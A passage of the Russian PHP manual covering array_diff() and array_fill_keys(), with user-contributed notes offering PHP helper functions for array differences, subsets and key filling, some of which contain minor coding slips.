Чтобы использовать альтернативную функцию сравнения, смотрите array_udiff().

Примечания

Замечание:

Обратите внимание, что эта функция обрабатывает только одно измерение n-размерного массива. Естественно, вы можете обрабатывать и более глубокие уровни вложенности, например, используя array_diff($array1[0], $array2[0]);.

Смотрите также

  • array_diff_assoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса
  • array_udiff() - Вычисляет расхождение массивов, используя для сравнения callback-функцию
  • array_intersect() - Вычисляет пересечение массивов
  • array_intersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса

User Contributed Notes

Sbastien 13-Mar-2023 09:23
I use array_diff() and array_intersect() to check the completness of a CSV file before processing :

<?php

$header = fgetcsv($stream, ...$csv_options); // ['id', 'name', 'sex']

$awaited = ['id', 'name', 'email']; // Header cols I need in the CSV

$present = array_intersect($header, $awaited); // ['id', 'name']

if (count($present) < count($awaited)) { // 2 < 3 => true, problem!
    $missing = array_diff($present, $awaited); // ['email']
    $missing = join(', ', $missing);
    echo "Missing cols: {$missing}\r\n";
}
Al Amin Chayan (mail at chayan dot me) 21-Sep-2020 04:17
<?php
/**
   * Check If An Array Is A Subset Of Another Array
   *
   * @param  array $subset
   * @param  array $set
   * @return bool
   */
function is_subset(array $subset, array $set): bool {
     return (bool)!array_diff($subset, $set);
}

$u = [1, 5, 6, 8, 10];
$a = [1, 5];
$b = [6, 7];

var_dump(is_subset($a, $u)); // true
var_dump(is_subset($b, $u)); // false
Prakashgun 11-Dec-2017 12:04
If duplicate value comes in the first array, that will be also included. See in the output "blue" comes twice.

<?php

$array1 = array("a" => "green", "red", "blue", "red", "blue");
$array2 = array("b" => "green", "yellow", "red");
$result = array_diff($array1, $array2);

print_r($result);

//Output
//Array ( [1] => blue [3] => blue )
wes dot melton at gmail dot com 20-Jun-2017 09:11
It's important to note that array_diff() is NOT a fast or memory-efficient function on larger arrays.

In my experience, when I find myself running array_diff() on larger arrays (50+ k/v/pairs) I almost always realize that I'm working the problem from the wrong angle.

Typically, when reworking the problem to not require array_diff(), especially on bigger datasets, I find significant performance improvements and optimizations.
james dot PLZNOSPAM at bush dot cc 16-Mar-2017 01:58
If you want a simple way to show values that are in either array, but not both, you can use this:

<?php
function arrayDiff($A, $B) {
    $intersect = array_intersect($A, $B);
    return array_merge(array_diff($A, $intersect), array_diff($B, $intersect));
}
?>

If you want to account for keys, use array_diff_assoc() instead; and if you want to remove empty values, use array_filter().
emeka dot echeruo at gmail dot com 10-May-2016 03:49
Resubmitting... the update for takes into account comparison issues
Computes the difference of all the arrays
<?php

/**
 * array_diffs a€" Computes the difference of all the arrays
 *
 * @param array
 *
 *    array1 - The array to compare from and against
 *    array2 - The array to compare from and against
 *    array(n) - More arrays to compare from and against
 *
 * @return array Returns all the arrays that do contains entries that cannot be matched in any of the arrays.
 */

function array_diffs() {
    $count = func_num_args();
    if($count < 2) {
        trigger_error('Must provide at least 2 arrays for comparison.');
    }
    $check = array();
    $out = array();
     //resolve comparison issue
    $func = function($a, $b) {
        $dbl = function($i, $d) {
            $e = 0.00001;
            if(abs($i-$d) < $e) {
                return true;
            }
            return false;
        };
        if((gettype($a) == 'integer' && gettype($b['value']) == 'double') || (gettype($a) == 'double' && gettype($b['value']) == 'integer')) {
            if((gettype($a) == 'integer' && $dbl((double) $a, $b['value'])) || (gettype($b['value']) == 'integer' && $dbl((double) $b['value'], $a))) {
                return true;
            }
        } elseif((gettype($a) == 'double') && (gettype($b['value']) == 'double')) {
            return $dbl($a,$b['value']);
        } elseif($a == $b['value']) {
            return true;
        }
        return false;
    };
    for($i = 0; $i < $count; $i++) {
        if(!is_array(func_get_arg($i))) {
            trigger_error('Parameters must be passed as arrays.');
        }
        foreach(func_get_arg($i) as $key => $value) {
            if(is_numeric($key) && is_string($value)) {
                if(array_key_exists($value, $check) && $func($value, $check[$value])) {
                    $check[$value]['count'] = $check[$value]['count'] + 1;
                } else {
                    $check[$value]['value'] = $value;
                    $check[$value]['count'] = 1;
                }
            } elseif(is_numeric($key) && (is_bool($value) || is_null($value) || is_numeric($value) || is_object($value) || is_resource($value))) {
                $update = false;
                foreach($check as $check_key => $check_value) {
                    if(is_numeric($key) && (is_bool($check_value['value']) || is_null($check_value['value']) || is_numeric($check_value['value']) || is_object($check_value['value']) || is_resource($check_value['value'])) && $func($value, $check_value)) {
                        $update = true;
                        $check[$check_key]['count'] = $check[$check_key]['count'] + 1;
                    }
                }
                if(!$update) {
                    $check[] = array('value' => $value, 'count' => 1);
                }
            } else {
                if(array_key_exists($key, $check) && $func($value, $check[$key])) {
                    $check[$key]['count'] = $check[$key]['count'] + 1;
                } else {
                    $check[$key]['value'] = $value;
                    $check[$key]['count'] = 1;
                }
            }
        }
    }
    foreach($check as $check_key => $check_value) {
        if($check_value['count'] == 1) {
           for ($i = 0; $i < $count; $i++) {
                foreach(func_get_arg($i) as $key => $value) {
                    if(is_numeric($key) && is_string($value) && ($value == (string) $check_key)) {
                        $out[$i][$key] = $value;
                    } elseif(is_numeric($key) && ($check_value['value'] == $value)) {
                        $out[$i][$key] = $value;
                    } elseif(is_string($key) && ($check_value['value'] == $value)) {
                        $out[$i][$key] = $value;
                    }
                }
            }
        }
    }
    return $out;
}

?>
emeka at echeruo at gmail dot com 30-Apr-2016 11:10
Resubmitting... the update for takes into account comparison issues

Computes the difference of all the arrays

<?php

/**
 * array_diffs — Computes the difference of all the arrays
 *
 * @param array
 *
 *    array1 - The array to compare from and against
 *    array2 - The array to compare from and against
 *    array(n) - More arrays to compare from and against
 *
 * @return array Returns all the arrays that do contains entries that cannot be matched in any of the arrays.
 */

function array_diffs() {
    $count = func_num_args();
    if($count < 2) {
        trigger_error('Must provide at least 2 arrays for comparison.');
    }
    $check = array();
    $out = array();
     //resolve comparison issues in PHP
    $func = function($a, $b) {
        if(gettype($a) == 'integer' && gettype($b['value']) == 'double' || gettype($a) == 'double' && gettype($b['value']) == 'integer') {
            if(gettype($a) == 'integer') {
                if((double) $a == $b['value']) {
                    return true;
                }
            } else {
                if((double) $b['value'] == $a) {
                    return true;
                }
            }
        } elseif(gettype($a) == 'double' && gettype($b['value']) == 'double') {
            $epsilon = 0.00001;
            if(abs($a - $b['value']) < $epsilon) {
                return true;
            }
        } else {
            if($a == $b['value']) {
                return true;
            }
        }
        return false;
    };
    for ($i = 0; $i < $count; $i++) {
        if(!is_array(func_get_arg($i))) {
            trigger_error('Parameters must be passed as arrays.');
        }
        foreach(func_get_arg($i) as $key => $value) {
            if(is_numeric($key) && is_string($value)) {
                if(array_key_exists($value, $check) && $func($value, $check[$value])) {
                    $check[$value]['count'] = $check[$value]['count'] + 1;
                } else {
                    $check[$value]['value'] = $value;
                    $check[$value]['count'] = 1;
                }
            } elseif(is_numeric($key) && (is_bool($value) || is_null($value) || is_numeric($value) || is_object($value) || is_resource($value))) {
                $update = false;
                foreach($check as $check_key => $check_value) {
                    if(is_numeric($key) && (is_bool($check_value['value']) || is_null($check_value['value']) || is_numeric($check_value['value']) || is_object($check_value['value']) || is_resource($check_value['value']))) {
                        if($func($value, $check_value)) {
                            $update = true;
                            $check[$check_key]['count'] = $check[$check_key]['count'] + 1;
                        }
                    }
                }
                if(!$update) {
                    $check[] = array('value' => $value, 'count' => 1);
                }
            } else {
                if(array_key_exists($key, $check) && $func($value, $check[$key])) {
                    $check[$key]['count'] = $check[$key]['count'] + 1;
                } else {
                    $check[$key]['value'] = $value;
                    $check[$key]['count'] = 1;
                }
            }
        }
    }
    foreach($check as $check_key => $check_value) {
        if($check_value['count'] == 1) {
            for ($i = 0; $i < $count; $i++) {
                foreach(func_get_arg($i) as $key => $value) {
                    if(is_numeric($key) && is_string($value)) {
                        if($value == (string) $check_key) {
                            $out[$i][$key] = $value;
                        }
                    } elseif(is_numeric($key) && (is_bool($value) || is_null($value) || is_numeric($value) || is_object($value) || is_resource($value))) {
                        if(is_numeric($key) && (is_bool($check_value['value']) || is_null($check_value['value']) || is_numeric($check_value['value']) || is_object($check_value['value']) || is_resource($check_value['value']))) {
                            if($check_value['value'] == $value) {
                                $out[$i][$key] = $value;
                            }
                        }
                    } else {
                        if($key == $check_key) {
                            $out[$i][$key] = $value;
                        }
                    }
                }
            }
        }
    }
    return $out;
}

?>
Anonymous 05-May-2015 06:50
I always wanted something like this to avoid listing all the files and folders you want to exclude in a project directory.

function array_preg_diff($a, $p) {
    foreach ($a as $i => $v)
        if (preg_match($p, $v))
            unset($a[$i]);
    return $a;
}

$relevantFiles = array_preg_diff(scandir('somedir'), '/^\./');

instead of

$relevantFiles = array_diff(scandir('somedir'), array('.', '..', '.idea', '.project));
Anonymous 28-Jan-2015 04:00
If you're not getting a count(array_diff($a1,$a2))>0 with something similar to the following arrays should use the php.net/array_diff_assoc function instead.

$a1 = Array
(
    [0] => id
    [1] => id_1
    [2] => id_2
)

$a2 = Array
(
    [0] => id
    [1] => id_2
    [2] => id_1
)
wrey75 at gmail dot com 03-Dec-2014 10:27
The difference is made only on the first level. If you want compare 2 arrays, you can use the code available at https://gist.github.com/wrey75/c631f6fe9c975354aec7 (including a class with an function to patch the array)

Here the basic function:

function my_array_diff($arr1, $arr2) {
        $diff = array();

        // Check the similarities
        foreach( $arr1 as $k1=>$v1 ){
            if( isset( $arr2[$k1]) ){
                $v2 = $arr2[$k1];
                if( is_array($v1) && is_array($v2) ){
                    // 2 arrays: just go further...
                    // .. and explain it's an update!
                    $changes = self::diff($v1, $v2);
                    if( count($changes) > 0 ){
                        // If we have no change, simply ignore
                        $diff[$k1] = array('upd' => $changes);
                    }
                    unset($arr2[$k1]); // don't forget
                }
                else if( $v2 === $v1 ){
                    // unset the value on the second array
                    // for the "surplus"
                    unset( $arr2[$k1] );
                }
                else {
                    // Don't mind if arrays or not.
                    $diff[$k1] = array( 'old' => $v1, 'new'=>$v2 );
                    unset( $arr2[$k1] );
                }
            }
            else {
                // remove information
                $diff[$k1] = array( 'old' => $v1 );
            }
        }

        // Now, check for new stuff in $arr2
        reset( $arr2 ); // Don't argue it's unnecessary (even I believe you)
        foreach( $arr2 as $k=>$v ){
            // OK, it is quite stupid my friend
            $diff[$k] = array( 'new' => $v );
        }
        return $diff;
    }
Jeppe Utzon 08-Nov-2012 02:28
If you just need to know if two arrays' values are exactly the same (regardless of keys and order), then instead of using array_diff, this is a simple method:

<?php

function identical_values( $arrayA , $arrayB ) {

    sort( $arrayA );
    sort( $arrayB );

    return $arrayA == $arrayB;
}

// Examples:

$array1 = array( "red" , "green" , "blue" );
$array2 = array( "green" , "red" , "blue" );
$array3 = array( "red" , "green" , "blue" , "yellow" );
$array4 = array( "red" , "yellow" , "blue" );
$array5 = array( "x" => "red" , "y" =>  "green" , "z" => "blue" );

identical_values( $array1 , $array2 );  // true
identical_values( $array1 , $array3 );  // false
identical_values( $array1 , $array4 );  // false
identical_values( $array1 , $array5 );  // true

?>

The function returns true only if the two arrays contain the same number of values and each value in one array has an exact duplicate in the other array. Everything else will return false.

my alternative method for evaluating if two arrays contain (all) identical values:

<?php

sort($a); $sort(b); return $a == $b;

?>

may be slightly faster (10-20%) than this array_diff method:

<?php

return ( count( $a ) == count( $b ) && !array_diff( $a , $b ) ? true : false );

?>

but only when the two arrays contain the same number of values and then only in some cases. Otherwise the latter method will be radically faster due to the use of a count() test before the array_diff().

Also, if the two arrays contain a different number of values, then which method is faster will depend on whether both arrays need to be sorted or not. Two times sort() is a bit slower than one time array_diff(), but if one of the arrays have already been sorted, then you only have to sort the other array and this will be almost twice as fast as array_diff().

Basically: 2 x sort() is slower than 1 x array_diff() is slower than 1 x sort().
merlyn dot tgz at gmail dot com 15-Mar-2012 10:08
There is more fast implementation of array_diff, but with some limitations. If you need compare two arrays of integers or strings you can use such function:

    public static function arrayDiffEmulation($arrayFrom, $arrayAgainst)
    {
        $arrayAgainst = array_flip($arrayAgainst);

        foreach ($arrayFrom as $key => $value) {
            if(isset($arrayAgainst[$value])) {
                unset($arrayFrom[$key]);
            }
        }

        return $arrayFrom;
    }

It is ~10x faster than array_diff

php > $t = microtime(true);$a = range(0,25000); $b = range(15000,500000); $c = array_diff($a, $b);echo microtime(true) - $t;
4.4335179328918
php > $t = microtime(true);$a = range(0,25000); $b = range(15000,500000); $c = arrayDiffEmulation($a, $b);echo microtime(true) - $t;
0.37219095230103
eugeny dot yakimovitch at gmail dot com 30-Dec-2010 03:17
Note that array_diff is not equivalent to

<?php
function fullArrayDiff($left, $right)
{
    return array_diff(array_merge($left, $right), array_intersect($left, $right));
}
?>

since it is a set-theoretical complement as in

http://en.wikipedia.org/wiki/Complement_(set_theory)
javierchinapequeno at yahoo dot es 21-Dec-2010 11:21
Hi, I?d like to give a piece of advice to all who need to use this function to compare two arrays that have a great quantity of elements. You should sort both arrays first before comparing, it will work faster.
Thanks
vojtech dot hordejcuk at gmail dot com 03-Nov-2009 07:15
Based on one lad's code, I created following function for creating something like HTML diff. I hope it will be useful.

<?php
private function diff ($old, $new)
{
  $old = preg_replace ('/ +/', ' ', $old);
  $new = preg_replace ('/ +/', ' ', $new);

  $lo = explode ("\n", trim ($old) . "\n");
  $ln = explode ("\n", trim ($new) . "\n");
  $size = max (count ($lo), count ($ln));

  $equ = array_intersect ($lo, $ln);
  $ins = array_diff ($ln, $lo);
  $del = array_diff ($lo, $ln);

  $out = '';

  for ($i = 0; $i < $size; $i++)
  {
    if (isset ($del [$i]))
    {
      $out .= '<p><del>' . $del [$i] . '</del></p>';
    }

    if (isset ($equ [$i]))
    {
      $out .= '<p>' . $equ [$i] . '</p>';
    }

    if (isset ($ins [$i]))
    {
      $out .= '<p><ins>' . $ins [$i] . '</ins></p>';
    }
  }

  return $out;
}
?>
Anonymous 15-Oct-2009 11:55
Hi!
I tried hard to find a solution to a problem I'm going to explain here, and after have read all the array functions and possibilities, I had to create what I think should exist on next PHP releases.

What I needed, it's some kind of Difference, but working with two arrays and modifying them at time, not returning an array as a result with the diference itself.

So, as an example:

A = 1,2,3
B = 2,3,4

should NOT be:

C = 1,4

but:

A = 1
B = 4

so basically, I wanted to delete coincidences on both arrays.

Now, I've some actions to do, and I know wich one I've to do with the values from one array or another.
With the normal DIFF I can't, because if I've an array like C=1,4, I dont know if I've to do the Action_A with 1 or with 4, but I really know that everything in A, will go to the Action_A and everithing in B, will go to Action_B. So same happens with 4, don't know wich action to apply...

So I created this:

<?php
function array_diff_ORG_NEW(&$org, &$new, $type='VALUES'){
    switch($type){
        case 'VALUES':
            $int = array_values(array_intersect($org, $new)); //C = A ^ B
            $org = array_values(array_diff($org, $int)); //A' = A - C
            $new= array_values(array_diff($new, $int)); //B' = B - C
            break;
        case 'KEYS':
            $int = array_values(array_intersect_key($org, $new)); //C = A ^ B
            $org = array_values(array_diff_key($org, $int)); //A' = A - C
            $new= array_values(array_diff_key($new, $int)); //B' = B - C
            break;
    }
}
?>

This cute, works by reference, and modifies the arrays deleting coincidences on both, and leaving intact the non coincidences.

So a call to this will be somethin' like:

<?php
$original = array(1,2,3);
$new = array(2,3,4);

array_diff_ORG_NEW($original, $new, 'VALUES');
?>

And HERE, I'll have my arrays as I wanted:

$original = 1
$new = 4

Now, why I use it precisely?

Imagine you've some "Events" and some users you select when create the event, can "see" this event you create. So you "share" the event with some users. Ok?

Imagine you created and Event_A, and shared with users 1,2,3.

Now you want to modify the event, and you decide to modify the users to share it. Imagine you change it to users 2,3,4.

(numbers are users ID).

So you can manage when you are going to modify, to have an array with the IDs in DDBB ($original), and then, have another array with ID's corresponding to the users to share after modifying ($new). Wich ones you've to DELETE from DDBB, and wich ones do you've to INSERT?

If you do a simple difference or somehow, you get somethin' like C=1,4.
You have no clue on wich one you've to insert or delete.

But on this way, you can know it, and that's why:

- What keeps on $original, it's somethin not existing in $new at the beggining. So you know that all what you've inside $original, have to be deleted from DDBB because what you did in the modifying process, it's to unselect those users keeping in $original.
- What keeps on $new, it's something not existing in $original at the beggining. Wich means that in the modifying process you added some new users. And those have to be inserted in DDBB. So, everything keeping inside $new, have to be inserted in the DDBB.

Conclusion:

- Remaining in $original --> delete from DB.
- Remaining in $new --> insert into DB.

And that's all!

I hope you find it useful, and I encourage PHP "makers", to add in a not distant future, somethin' like this one natively, because I'm shure that I'm not the first one needing something like this.

Best regards all,

Light.
firegun at terra dot com dot br 24-Jun-2009 10:52
Hello guys,

I?ve been looking for a array_diff that works with recursive arrays, I?ve tried the ottodenn at gmail dot com function but to my case it doesn?t worked as expected, so I made my own. I?ve haven?t tested this extensively, but I?ll explain my scenario, and this works great at that case :D

We got 2 arrays like these:

<?php
$aArray1['marcie'] = array('banana' => 1, 'orange' => 1, 'pasta' => 1);
$aArray1['kenji'] = array('apple' => 1, 'pie' => 1, 'pasta' => 1);

$aArray2['marcie'] = array('banana' => 1, 'orange' => 1);
?>

As array_diff, this function returns all the items that is in aArray1 and IS NOT at aArray2, so the result we should expect is:

<?php
$aDiff['marcie'] = array('pasta' => 1);
$aDiff['kenji'] = array('apple' => 1, 'pie' => 1, 'pasta' => 1);
?>

Ok, now some comments about this function:
 - Different from the PHP array_diff, this function DON?T uses the === operator, but the ==, so 0 is equal to '0' or false, but this can be changed with no impacts.
 - This function checks the keys of the arrays, array_diff only compares the values.

I realy hopes that this could help some1 as I?ve been helped a lot with some users experiences. (Just please double check if it would work for your case, as I sad I just tested to a scenario like the one I exposed)

<?php
function arrayRecursiveDiff($aArray1, $aArray2) {
    $aReturn = array();

    foreach ($aArray1 as $mKey => $mValue) {
        if (array_key_exists($mKey, $aArray2)) {
            if (is_array($mValue)) {
                $aRecursiveDiff = arrayRecursiveDiff($mValue, $aArray2[$mKey]);
                if (count($aRecursiveDiff)) { $aReturn[$mKey] = $aRecursiveDiff; }
            } else {
                if ($mValue != $aArray2[$mKey]) {
                    $aReturn[$mKey] = $mValue;
                }
            }
        } else {
            $aReturn[$mKey] = $mValue;
        }
    }

    return $aReturn;
}
?>
Tim Trefren 04-Apr-2008 08:05
Here's a little wrapper for array_diff - I found myself needing to iterate through the edited array, and I didn't need to original keys for anything.

<?php
function arrayDiff($array1, $array2){
    # This wrapper for array_diff rekeys the array returned
    $valid_array = array_diff($array1,$array2);

    # reinstantiate $array1 variable
    $array1 = array();

    # loop through the validated array and move elements to $array1
    # this is necessary because the array_diff function returns arrays that retain their original keys
    foreach ($valid_array as $valid){
        $array1[] = $valid;
        }
    return $array1;
    }
?>
merlinyoda at dorproject dot net 28-Mar-2008 10:11
As touched on in kitchin's comment of 19-Jun-2007 03:49 and nilsandre at gmx dot de's comment of 17-Jul-2007 10:45, array_diff's behavior may be counter-intuitive if you aren't thinking in terms of set theory.

array_diff() returns a *mathematical* difference (a.k.a. subtraction) of elements in array A that are in array B and *not* what elements are different between the arrays (i.e. those that elements that are in either A or B but aren't in both A and B).

Drawing one of those Ven diagrams or Euler diagrams may help with visualization...

As far as a function for returning what you may be expecting, here's one:

<?php
function array_xor ($array_a, $array_b) {
    $union_array = array_merge($array_a, $array_b);
    $intersect_array = array_intersect($array_a, $array_b);
    return array_diff($union_array, $intersect_array)
}
?>
nilsandre at gmx dot de 17-Jul-2007 09:45
Again, the function's description is misleading right now. I sought a function, which (mathematically) computes A - B, or, written differently, A \ B. Or, again in other words, suppose

A := {a1, ..., an} and B:= {a1, b1, ... , bm}

=> array_diff(A,B) = {a2, ..., an}

array_diff(A,B) returns all elements from A, which are not elements of B (= A without B).

You should include this in the documentation more precisely, I think.
gilthans at NOgmailSPAM dot com 13-Jun-2007 10:11
I needed a function to only remove the element the amount of times he appears in the second array. In other words, if you have Array(1, 1, 2) and Array(1), the return value should be Array(1, 2).
So I built this function right here:

<?php
function array_diff_once(){
    if(($args = func_num_args()) < 2)
        return false;
    $arr1 = func_get_arg(0);
    $arr2 = func_get_arg(1);
    if(!is_array($arr1) || !is_array($arr2))
        return false;
    foreach($arr2 as $remove){
        foreach($arr1 as $k=>$v){
            if((string)$v === (string)$remove){ //NOTE: if you need the diff to be STRICT, remove both the '(string)'s
                unset($arr1[$k]);
                break; //That's pretty much the only difference from the real array_diff :P
            }
        }
    }
    //Handle more than 2 arguments
    $c = $args;
    while($c > 2){
        $c--;
        $arr1 = array_diff_once($arr1, func_get_arg($args-$c+1));
    }
    return $arr1;
}
$arr1 = Array("blue", "four"=>4, "color"=>"red", "blue", "green", "green", "name"=>"jon", "green");
$arr2 = Array("4", "red", "blue", "green");
print_r(array_diff_once($arr1, $arr2));
?>
This prints:
Array ( [1] => blue [3] => green [name] => jon [4] => green )

Note that it removes the elements left to right, opposite to what you might expect; in my case the order of elements had no importance. Fixing that would require a small variation.
03-Aug-2006 12:30
array_diff provides a handy way of deleting array elements by their value, without having to unset it by key, through a lengthy foreach loop and then having to rekey the array.

<?php

//pass value you wish to delete and the array to delete from
function array_delete( $value, $array)
{
    $array = array_diff( $array, array($value) );
    return $array;
}
?>
Simon Riget at paragi.dk 21-Jan-2006 05:27
A simple multidimentional key aware array_diff function.

<?php
function arr_diff($a1,$a2){
  foreach($a1 as $k=>$v){
    unset($dv);
    if(is_int($k)){
      // Compare values
      if(array_search($v,$a2)===false) $dv=$v;
      else if(is_array($v)) $dv=arr_diff($v,$a2[$k]);
      if($dv) $diff[]=$dv;
    }else{
      // Compare noninteger keys
      if(!$a2[$k]) $dv=$v;
      else if(is_array($v)) $dv=arr_diff($v,$a2[$k]);
      if($dv) $diff[$k]=$dv;
    }
  }
  return $diff;
}
?>

This function meets my immidiate needs but I'm shure it can be improved.
Viking Coder 03-Jan-2006 09:07
To anybody wanting a double-sided array_diff - mentioned by rudigier at noxx dot at. Remember, array_diff gives you everything in the first array that isn't in the subsequent arrays.

$array1=array('blue','red','green');
$array2=array('blue','yellow','green');

array_merge(array_diff($array1, $array2),array_diff($array2, $array1));

Result
------
Array
(
    [0] => red
    [1] => yellow
)
j dot j dot d dot mol at ewi dot tudelft dot nl 31-Dec-2004 12:34
Here is some code to take the difference of two arrays. It allows custom modifications like prefixing with a certain string (as shown) or custom compare functions.

<?php
 // returns all elements in $all which are not in $used in O(n log n) time.
  // elements from $all are prefixed with $prefix_all.
  // elements from $used are prefixed with $prefix_used.
  function filter_unused( $all, $used, $prefix_all = "", $prefix_used = "" ) {
      $unused = array();

      // prefixes are not needed for sorting
      sort( $all );
      sort( $used );

      $a = 0;
      $u = 0;

      $maxa = sizeof($all)-1;
      $maxu = sizeof($used)-1;

      while( true ) {
          if( $a > $maxa ) {
              // done; rest of $used isn't in $all
              break;
          }
          if( $u > $maxu ) {
              // rest of $all is unused
              for( ; $a <= $maxa; $a++ ) {
                  $unused[] = $all[$a];
              }
              break;
          }

          if( $prefix_all.$all[$a] > $prefix_used.$used[$u] ) {
              // $used[$u] isn't in $all?
              $u++;
              continue;
          }

          if( $prefix_all.$all[$a] == $prefix_used.$used[$u] ) {
              // $all[$a] is used
              $a++;
              $u++;
              continue;
          }

          $unused[] = $all[$a];

          $a++;
      }

      return $unused;
  }
?>
18-Nov-2003 04:54
From the page:
Note:  Please note that this function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using array_diff($array1[0], $array2[0]);

I've found a way to bypass that. I had 2 arrays made of arrays.
I wanted to extract from the first array all the arrays not found in the second array. So I used the serialize() function:

<?php
function my_serialize(&$arr,$pos){
  $arr = serialize($arr);
}

function my_unserialize(&$arr,$pos){
  $arr = unserialize($arr);
}

 //make a copy
$first_array_s = $first_array;
$second_array_s = $second_array;

// serialize all sub-arrays
array_walk($first_array_s,'my_serialize');
array_walk($second_array_s,'my_serialize');

// array_diff the serialized versions
$diff = array_diff($first_array_s,$second_array_s);

// unserialize the result
array_walk($diff,'my_unserialize');

// you've got it!
print_r($diff);
?>
ds2u at the hotmail dot com 23-Feb-2003 04:22
Yes you can get rid of gaps/missing keys by using:

<?php
$result = array_values(array_diff($array1,$array2));
?>

But to drop the storage of void spaces (actually a line feed) which are irritatingly indexed when reading from files - just use difference:

<?php
$array = array ();
$array[0] = "\n";
$result = array_diff($result,$array);
?>

dst
SeanECoates at !donotspam!yahoo dot ca 16-Oct-2001 10:43
I just came upon a really good use for array_diff(). When reading a dir(opendir;readdir), I _rarely_ want "." or ".." to be in the array of files I'm creating. Here's a simple way to remove them:

<?php
 $someFiles = array();
 $dp = opendir("/some/dir");
 while($someFiles[] = readdir($dp));
 closedir($dp);

 $removeDirs = array(".","..");
 $someFiles = array_diff($someFiles, $removeDirs);

 foreach($someFiles AS $thisFile) echo $thisFile."\n";
?>

S


Создаёт массив и заполняет его значениями с определёнными ключами

  • « array_diff
  • array_fill »
  • PHP Manual
  • Функции для работы с массивами
  • Создаёт массив и заполняет его значениями с определёнными ключами

array_fill_keys

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

array_fill_keys — Создаёт массив и заполняет его значениями с определёнными ключами

Описание

array_fill_keys(array $keys, mixed $value): array

Создаёт и заполняет массив значением параметра value, используя значения массива keys в качестве ключей.

Список параметров

keys

Массив значений, которые будут использованы в качестве ключей. Некорректные ключи массива будут преобразованы в строку (string).

value

Заполняемое значение

Возвращаемые значения

Возвращает заполненный массив

Примеры

Пример #1 Пример использования array_fill_keys()

<?php
$keys = array('foo', 5, 10, 'bar');
$a = array_fill_keys($keys, 'banana');
print_r($a);
?>

Результат выполнения приведённого примера:

Array
(
    [foo] => banana
    [5] => banana
    [10] => banana
    [bar] => banana
)

Смотрите также

  • array_fill() - Заполняет массив значениями
  • array_combine() - Создаёт новый массив, используя один массив в качестве ключей, а другой для его значений

User Contributed Notes

manavchugh988 at gmail dot com 20-Jun-2022 11:32
see array_fill_keys are basically used to make a new array from a pre-existing array in a form that the value of the pre-existing array will now be the key of the new Array .And there value will be same That we had given in the 2nd parameter . Example Below---->>>

<?php
        //pre existing array
        $a = array("a","b","c","d","e");

        //new array with a single same value

        $newArray = array_fill_keys($a, "Testing");

        //printing the array

        echo "<pre>";
        print_r($newArray);
        echo "</pre>";
?>
output;
    Array
(
    [a] => Testing
    [b] => Testing
    [c] => Testing
    [d] => Testing
    [e] => Testing
)
ray.paseur sometimes uses gmail 07-May-2022 03:50
Get an associative array of zeros for counting letter frequency

<?php
$ltrs = array_fill_keys( range('a', 'z'), 0 );
ntd at entidi dot it 23-Oct-2015 07:04
To remove arbitrary keys from an associative array:

<?php

function nuke_keys($keys, $array) {
    return array_diff_key($array, array_fill_keys($keys, 0));
}

$array = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$keys  = array('red', 'purple');

print_r(nuke_keys($keys, $array));
?>

The above snippet will return:

Array
(
    [blue] => 1
    [green] => 3
)
taylanaktepe at yahoo dot com 21-Jul-2014 09:46
$keys = array(1, 2, 3);

// Fill it with value.
$keys = array_fill_keys($keys, 'banana');
print_r($keys);

// Fill it different value.
$apples = array_fill_keys(array_keys($keys), 'apple');
print_r($apples);

// Output:
Array (
 [1] => banana
 [2] => banana
 [3] => banana
)
Array (
 [1] => apple
 [2] => apple
 [3] => apple
)
atul dot kr_singh at hotmail dot com 04-Jan-2013 11:39
If an associative array is used as the second parameter of array_fill_keys, then the associative array will be appended in all the values of the first array.
e.g.
<?php
$array1 = array(
    "a" => "first",
    "b" => "second",
    "c" => "something",
    "red"
);

$array2 = array(
    "a" => "first",
    "b" => "something",
    "letsc"
);

print_r(array_fill_keys($array1, $array2));
?>

The output will be
Array(
    [first] => Array(
        [a] => first,
        [b] => something,
        [0] => letsc
    ),
    [second] => Array(
        [a] => first,
        [b] => something,
        [0] => letsc
    ),
    [something] => Array(
        [a] => first,
        [b] => something,
        [0] => letsc
    ),
    [red] => Array(
        [a] => first,
        [b] => something,
        [0] => letsc
    )
)
sergli at nigma dot ru 25-May-2012 11:53
<?php
$a = array("1");

var_dump(array_fill_keys($a, "test"));
?>

array(1) {
  [1]=>
  string(4) "test"
}

now string key "1" become an integer value 1, be careful.
matrebatre 20-Jun-2008 07:28
This function does the same as:
<?php
$array = array_combine($keys,array_fill(0,count($keys),$value));
?>
phydeaux 14-May-2008 10:26
Scratchy's version still doesn't work like the definition describes.  Here's one that can take a mixed variable as the second parameter, defaulting to an empty string if it's not specified.  Don't know if this is exactly how the function works in later versions but it's at least a lot closer.

function array_fill_keys($target, $value = '') {
    if(is_array($target)) {
        foreach($target as $key => $val) {
            $filledArray[$val] = is_array($value) ? $value[$key] : $value;
        }
    }
    return $filledArray;
}

This works for either strings or numerics, so if we have

$arr1 = array(0 => 'abc', 1 => 'def');
$arr2 = array(0 => 452, 1 => 128);
$arr3 = array(0 => 'foo', 1 => 'bar');

then

array_fill_keys($arr1,$arr2)
returns: [abc] => 452, [def] => 128

array_fill_keys($arr1,0)
returns: [abc] => 0, [def] => 0

array_fill_keys($arr2,$arr3)
returns: [452] => foo, [128] => bar

array_fill_keys($arr3,'BLAH')
returns: [foo] => BLAH, [bar] => BLAH

and array_fill_keys($arr1)
returns: [abc] =>, [def] =>
Scratchy 02-May-2008 02:18
RE: bananasims at hotmail dot com

I also needed a work around to not having a new version of PHP and wanting my own keys. bananasims code doesn't like having an array as the second parameter...

Here's a slightly modified version than can handle 2 arrays as inputs:

//we want these values to be keys
$arr1 = (0 => "abc", 1 => "def");
/we want these values to be values
$arr2 = (0 => 452, 1 => 128);

function array_fill_keys($keyArray, $valueArray) {
    if(is_array($keyArray)) {
        foreach($keyArray as $key => $value) {
            $filledArray[$value] = $valueArray[$key];
        }
    }
    return $filledArray;
}

array_fill_keys($arr1, $arr2);

returns:
abc => 452, def =>128
bananasims at hotmail dot com 19-Dec-2006 05:03
Some of the versions do not have this function.
I try to write it myself.
You may refer to my script below

function array_fill_keys($array, $values) {
    if(is_array($array)) {
        foreach($array as $key => $value) {
            $arraydisplay[$array[$key]] = $values;
        }
    }
    return $arraydisplay;
}


Заполняет массив значениями

  • « array_fill_keys
  • array_filter »
  • PHP Manual
